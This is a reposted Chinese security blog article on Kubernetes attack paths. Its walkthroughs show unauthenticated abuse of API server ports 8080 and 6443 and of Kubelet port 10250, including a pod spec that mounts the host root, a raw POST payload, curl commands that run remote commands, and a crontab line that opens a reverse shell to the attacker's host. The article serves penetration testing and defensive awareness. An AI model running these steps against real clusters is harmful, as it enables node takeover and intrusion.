文章总结： 文档概述了Kubernetes架构与组件端口，重点分析了基于威胁矩阵的集群攻击路径。核心内容详细讲解了APIServer的8080与6443端口未授权访问漏洞，演示了通过创建恶意Pod挂载宿主机目录获取节点权限的利用过程。同时介绍了KubeletAPI10250端口的远程命令执行风险及10255端口的信息泄露问题。文章建议严格配置鉴权策略与端口访问控制，以防范未授权访问导致的集群沦陷。
综合评分： 85
文章分类： 云安全,渗透测试,漏洞分析,漏洞POC,实战经验

云服务-Kubernets（K8S）安全

进击的HACK

2026年3月3日 20:41
江苏

以下文章来源于FoundSEC
，作者FoundSec

FoundSEC
.

分享网络安全资料文章。

目录内容

Kubernets概述

Kubernetes (K8s) 是一个开源的容器编排平台，用于自动化部署、扩展和管理容器化应用程序。它将一组物理或虚拟机器（节点）抽象成一个统一的集群资源，并代表你自动化的完成应用的部署、运维、扩缩容等操作。

K8S 借助管理机器（Master）对集群下的服务器（Node）以及服务器下的容器进行统一管理。

简述：K8S 集群就是借助 Master 机器来管理多台应用服务器下的应用容器，对应用容器可以实现统一管理（比较类似于 Windows 上的域控）。

K8s 涉及到得角色信息

Master（控制平面） = 公司的总部 / 云平台的运维控制台因为它不直接干活，而是制定策略、下发命令、监控全局。它告诉整个集群应该达到什么状态（比如:运行10个Nginx实例），但并不亲自去执行。它管理的是“元数据”和“期望状态”。
Node（工作节点） = 数据中心里的一台台物理服务器或虚拟机因为Node是提供计算能力的实体，是真正运行程序的地方。它上面安装了基础的“环境”（容器运行时，如containerd）。
Pod = 应用程序的部署单元（比如一个“租赁单元”或“隔离环境”）Pod是K8s调度和管理的最小单位。一个Pod就像一个独立的“沙箱”或“隔离环境”，里面运行着一个或多个紧密关联的容器。

Kubernets 组件相关端口列表

| | | |
| — | — | — |
| 组件 | 默认端口 | 说明 |
| kube-apiserver | 6443 | 这是所有管理命令（kubectl）和资源操作的唯一入口。 |
| kube-apiserver | 8080 | （已弃用）在早期版本中存在的 HTTP 非安全端口。 |
| etcd | 2379 | 用于客户端（如 kube-apiserver）连接。 |
| etcd | 2380 | 用于 etcd 集群节点间的对等通信。 |
| kube-scheduler | 10259 | 用于提供 metrics 和健康检查端点。 |
| kube-controller-manager | 10257 | 用于提供 metrics 和健康检查端点。 |
| kubelet | 10250 | |
| cloud-controller-manager | 10258 | 用于提供 metrics 和健康检查端点 |

每个组件的具体作用可以参考：https://blog.csdn.net/qq_34101364/article/details/122506768

Kubernets 集群攻击点

目前很多企业会将自己的服务上到云上，在攻防也会碰到云相关的场景情况：公有云、私有云、虚拟化集群等。

以往渗透「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」，直到获得重要目标系统。

但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：

1、通过虚拟机攻击云管理平台，利用管理平台控制所有机器

2、通过容器进行逃逸，从而控制宿主机以及横向渗透到K8sMaster节点控制所有容器

3、利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。

Kubernets 潜在的威胁

APIServer未授权访问

早期得 K8S 得 APIServer 默认会开启两个端口分别为：8080 和 6443 端口

6443 是安全端口，安全端口使用 TLS 加密，但是 8080 端口无需认证仅用于测试。
6443 端口需要认证、且有 TLS 保护、新版本 k8s 默认已经不开启 8080 端口，需要更改相应的配置。

APIServer 8080 端口未授权访问

利用条件：Kubernetes版本小于 v1.20、8080端口可访问（配置不当）

"kubernetes" && protocol="kubernetes(http)" && port="8080"

检测是否存在漏洞

通过访问 8080 端口如果显示如下内容就可以选用 Kubectl 工具获取节点信息。

kubectl -s xx.xx.xx.xx:8080 get nodes
kubectl -s xx.xx.xx.xx:8080 get pods

基本上显示如上内容就是存在漏洞的。

利用获取 shell

准备 demo.yaml 文件

apiVersion: v1
kind: Pod
metadata:
&nbsp; name: demo
spec:
&nbsp; containers:
&nbsp; - image: nginx
&nbsp; &nbsp; name: test-container
&nbsp; &nbsp; volumeMounts:
&nbsp; &nbsp; - mountPath: /mnt
&nbsp; &nbsp; &nbsp; name: test-volume
&nbsp; volumes:
&nbsp; - name: test-volume
&nbsp; &nbsp; hostPath:
&nbsp; &nbsp; &nbsp; path: /

利用该 yaml 文件在对方节点服务器中创建一个容器，将物理机得根目录挂载到容器得/mnt 目录中。

kubectl -s xxx.xxx.xxx.xx:8080 create -f demo.yaml

进入到创建的该容器中

kubectl -s xxx.xx.xx.xx:8080 --namespace=default exec -it demo -- /bin/bash

将反弹 shell 语句，写入到物理机的根目录中，/mnt/etc/crontab

echo -e "* * * * * root bash -i >& /dev/tcp/11xxx.xxx32/4444 0>&1\n" >> /mnt/etc/crontab

等待执行将 shell 反弹即可。

该漏洞获取到的权限为对方节点服务器权限并非容器权限。

解释：因为前面创建该容器是将节点服务器得根目录挂载到容器中得/mnt 目录中，我们再写入得时候写入的为节点服务器得计划任务。

APIServer 6443 端口未授权访问

一些集群由于鉴权配置不当，将”system:anonymous”用户绑定到”cluster-admin”用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

检测是否存在漏洞

通过访问 web 端口，如果回显下面数据则为存在漏洞

尝试获取所有得pods：kubectl --insecure-skip-tls-verify -s https://xxx.xx.xx.xx:6443 get pods

利用获取 Shell

创建恶意得 pods 容器

https://xxx.xxx.xxx.xxx:6443/api/v1/namespaces/default/pods/
POST：{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"demo001\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"demo001\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"demo001","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"demo001","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

查看 pods 判断是否创建成功

kubectl --insecure-skip-tls-verify -s https://xxx.xxx.xxx.xx:6443 get pods

链接 pods 进入容器

kubectl --insecure-skip-tls-verify -s https://xxx.xxx.xxx.xx:6443 --namespace=default exec -it demo001 bash

等待反弹就可以了。

Kubelet API 未授权访问

Kubelet未授权访问又称“Kubelet API 未授权访问”，通常指的是未经过身份验证的用户或服务能够直接访问Kubelet的API，可能导致集群安全风险。Kubelet负责管理每个节点上的Pod和容器，若未授权访问未被妥善管控，攻击者可以利用此漏洞获取敏感信息或控制容器。

Kubelet API 10250端口

检测是否存在漏洞

利用获取 Shell

1. 攻击者访问以下路径获取运行中的pods信息（namespace、pod、container）

通过 kubele 的/run 接口在容器内执行任意命令

#路径模板
curl -k -XPOST "https://192.168.48.143:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

#根据上面获取到的信息构造路径
curl -k -XPOST "https://192.168.48.143:10250/run/default/nginx-pod/nginx-container" -d "cmd=id"

成功执行RCE，后续利用就是容器逃逸的内容了

Kubelet API 10255 端口

默认情况下k8s集群不对外开放10255端口，但是如果在配置文件config.yaml中添加如下配置就产生了未授权访问漏洞

10255端口是只读的，仅涉及信息泄露问题，无法对pod执行命令，危害相对较低。

泄露信息包括节点信息，以及namespace、启动配置等

http://192.168.255.131:10255/pods
http://192.168.255.131:10255/stats/summary
http://192.168.255.131:10255/healthz

参考链接：https://blog.csdn.net/ggqiuhui/article/details/145612643

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：进击的HACK 《云服务-Kubernets（K8S）安全》

Tags: 云安全实战经验渗透测试漏洞POC 漏洞分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)